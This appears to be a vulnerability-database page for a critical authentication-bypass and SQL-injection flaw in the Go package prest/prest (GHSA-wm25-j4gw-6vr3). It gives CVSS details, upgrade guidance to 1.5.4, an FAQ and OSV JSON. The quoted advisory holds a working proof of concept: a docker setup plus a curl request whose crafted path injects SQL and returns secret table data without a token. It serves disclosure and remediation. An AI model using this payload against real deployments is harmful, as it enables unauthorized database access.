GHSA-wm25-j4gw-6vr3: Github.com/prest/prest SQL Injection Vulnerability

CRITICAL
Share
CVSS 9.8
CWE-89 CWE-287
Published
Advisory Summary

GHSA-wm25-j4gw-6vr3 is a CRITICAL (CVSS 9.8) sql injection vulnerability (CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')) affecting Github.com/prest/prest libraries in the Go ecosystem. The issue involves prest vulnerable to jwt bypass + sql injection. Remediation is available by upgrading affected packages to version 1.5.4.

GHSA-wm25-j4gw-6vr3 at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-wm25-j4gw-6vr3
Severity CRITICAL
CVSS v3.1 Base Score 9.8
CWE Classification CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Affected Product Github.com/prest/prest
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 9.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix GHSA-wm25-j4gw-6vr3

To remediate this vulnerability, upgrade all affected Github.com/prest/prest dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/prest/prest fixed: 1.5.4 
Upgrade github.com/prest/prest to 1.5.4
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release: 

inspect dependencies for github.com/prest/prest

How to Check if You Are Affected

To determine whether your application is affected by GHSA-wm25-j4gw-6vr3, inspect your project dependencies for Github.com/prest/prest:

inspect dependencies for github.com/prest/prest

Analyze the terminal output to locate any version of Github.com/prest/prest in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.5.4), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection'), where the product constructs all or part of an sql command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended sql command when it is sent to a downstream component. without sufficient removal or quoting of sql syntax in user-controllable inputs, the generated sql query can cause those inputs to be interpreted as sql instead of ordinary user data. In Github.com/prest/prest, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Probably jwt bypass + sql injection or what i'm doing wrong? ### PoC (how to reproduce) 1. Create following files: docker-compose.yml: ``` services: postgres: image: postgres container_name: postgres_container_mre environment: POSTGRES_USER: test_user_pg POSTGRES_PASSWORD: test_pass_pg POSTGRES_DB: test_db prest: image: prest/prest build: . volumes: - ./queries:/queries - ./migrations:/migrations ports: - "3000:3000" ``` Dockerfile: ``` from prest/prest:latest COPY ./prest.toml prest.toml ``` prest.toml: ``` debug=false migrations = "./migrations" [http] port = 3000 [jwt] default = true key = "secret" algo = "HS256" [auth] enabled = true type = "body" encrypt = "MD5" table = "prest_users" username = "username" password = "password" [pg] URL = "postgresql://test_user_pg:test_pass_pg@postgres:5432/test_db/?sslmode=disable" [ssl] mode = "disable" sslcert = "./PATH" sslkey = "./PATH" sslrootcert = "./PATH" [expose] enabled = true databases = true schemas = true tables = true [queries] location = "/queries" ``` 2. run commands: ``` mkdir -p migrations queries docker compose up --build -d ``` wait for pg and prest, then run following to add test data to the pg: ``` export PGPASSWORD=test_pass_pg docker exec -it postgres_container_mre psql -U test_user_pg -d test_db -c "CREATE TABLE IF NOT EXISTS public.some_table (id int primary key, secret_data text);\ INSERT INTO public.some_table (id, secret_data) VALUES (1, 'some secret text') ON CONFLICT DO NOTHING;" ``` 3. SQL injection even without jwt token: ``` curl --location '127.0.0.1:3000/test_db/public".some_table)%20s;--/auth' ``` output: ``` [{"id": 1, "secret_data": "some secret text"}] ```

GHSA-wm25-j4gw-6vr3 Affected Github.com/prest/prest Versions

1 component(s)
Fixed Versions:
1.5.4
Product / Package Ecosystem Affected Versions Fixed Version
github.com/prest/prest
golang/github.com/prest/prest
Go
< 1.5.4
1.5.4

References

GitHub Advisory / Wiki ADVISORY
https://github.com/prest/prest/security/advisories/GHSA-wm25-j4gw-6vr3
Security Fix Commit FIX COMMIT
https://github.com/prest/prest/commit/96ff96cfdc7ad6dd86e2289fcd5a37ee70c8926e
Github.com/prest/prest Source Repository REPOSITORY
https://github.com/prest/prest
pkg.go.dev/vuln/go-2024-3011 WEB
https://pkg.go.dev/vuln/GO-2024-3011

Frequently Asked Questions

What is GHSA-wm25-j4gw-6vr3?
GHSA-wm25-j4gw-6vr3 is a security vulnerability in Github.com/prest/prest involving pREST vulnerable to jwt bypass + sql injection under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection').
Which Github.com/prest/prest versions are affected?
Affected versions include releases prior to 1.5.4 across affected packages: github.com/prest/prest.
What version fixes GHSA-wm25-j4gw-6vr3?
Upgrading to 1.5.4 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/prest/prest affected?
Yes, github.com/prest/prest is affected in releases prior to 1.5.4. Upgrade your dependency to 1.5.4 or later.
What is the CVSS score of GHSA-wm25-j4gw-6vr3?
GHSA-wm25-j4gw-6vr3 has a CVSS v3.1 base score of 9.8 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with GHSA-wm25-j4gw-6vr3?
GHSA-wm25-j4gw-6vr3 is classified under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.).
How can I check Go dependencies for GHSA-wm25-j4gw-6vr3?
Run the dependency tree command: 'inspect dependencies for github.com/prest/prest'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
View Raw JSON 
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-wm25-j4gw-6vr3",
  "modified" : "2024-08-07T14:16:28Z",
  "published" : "2024-07-30T15:04:26Z",
  "aliases" : [ ],
  "summary" : "pREST vulnerable to jwt bypass + sql injection",
  "details" : "### Summary\nProbably jwt bypass + sql injection\nor what i'm doing wrong?\n\n### PoC (how to reproduce)\n\n1. Create following files:\n\ndocker-compose.yml:\n```\nservices:\n  postgres:\n    image: postgres\n    container_name: postgres_container_mre\n    environment:\n      POSTGRES_USER: test_user_pg\n      POSTGRES_PASSWORD: test_pass_pg\n      POSTGRES_DB: test_db\n  prest:\n    image: prest/prest\n    build: .\n    volumes:\n      - ./queries:/queries\n      - ./migrations:/migrations\n    ports:\n      - \"3000:3000\"\n```\n\nDockerfile:\n```\nfrom prest/prest:latest\n\nCOPY ./prest.toml prest.toml\n```\n\nprest.toml:\n```\ndebug=false\nmigrations = \"./migrations\"\n\n[http]\nport = 3000\n\n[jwt]\ndefault = true\nkey = \"secret\"\nalgo = \"HS256\"\n\n[auth]\nenabled = true\ntype = \"body\"\nencrypt = \"MD5\"\ntable = \"prest_users\"\nusername = \"username\"\npassword = \"password\"\n\n[pg]\nURL = \"postgresql://test_user_pg:test_pass_pg@postgres:5432/test_db/?sslmode=disable\"\n\n[ssl]\nmode = \"disable\"\nsslcert = \"./PATH\"\nsslkey = \"./PATH\"\nsslrootcert = \"./PATH\"\n\n[expose]\nenabled = true\ndatabases = true\nschemas = true\ntables = true\n\n[queries]\nlocation = \"/queries\"\n```\n\n\n2. run commands:\n\n```\nmkdir -p migrations queries\ndocker compose up --build -d\n```\nwait for pg and prest, then run following to add test data to the pg:\n\n```\nexport PGPASSWORD=test_pass_pg\ndocker exec -it postgres_container_mre psql -U test_user_pg -d test_db -c \"CREATE TABLE IF NOT EXISTS public.some_table (id int primary key, secret_data text);\\\nINSERT INTO public.some_table (id, secret_data) VALUES (1, 'some secret text') ON CONFLICT DO NOTHING;\"\n```\n\n3. SQL injection even without jwt token:\n```\ncurl --location '127.0.0.1:3000/test_db/public\".some_table)%20s;--/auth'\n```\noutput:\n```\n[{\"id\": 1, \"secret_data\": \"some secret text\"}]\n```\n",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/prest/prest"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.5.4"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/prest/prest/security/advisories/GHSA-wm25-j4gw-6vr3"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/prest/prest/commit/96ff96cfdc7ad6dd86e2289fcd5a37ee70c8926e"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/prest/prest"
  }, {
    "type" : "WEB",
    "url" : "https://pkg.go.dev/vuln/GO-2024-3011"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-287", "CWE-89" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2024-07-30T15:04:26Z",
    "nvd_published_at" : null
  }
}